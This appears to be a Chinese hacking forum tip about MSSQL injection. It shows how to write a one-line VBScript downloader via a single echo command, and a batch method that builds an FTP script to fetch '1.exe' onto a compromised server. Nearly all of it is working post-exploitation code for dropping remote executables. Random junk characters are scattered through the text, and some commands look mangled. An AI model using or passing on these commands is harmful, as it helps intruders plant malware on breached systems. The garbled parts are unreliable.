mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
0 f  L! _, L' T3 b6 p8 u
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
1 [: @" e5 q8 |- B  X( I) j1 O
这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
7 }& i# k2 e) m9 |3 X
' _1 n1 t. m7 i, R6 F
% N! n( T. ?' K- v2.bat调用ftp脚本的写法(by envymask)
+ `8 Y' r# _2 Z, [
' a/ e$ g: p, u8 l) z! p1 t6 o+ `echo ftp&gt;1.vbs
% a' f; ?3 E# }& h' H7 T& I: {echo open ip&gt;2.vbs
, [; L8 w$ d4 _6 Pecho u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
echo bay&gt;7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
& G: w3 a7 C3 m) B, Q; ~</P>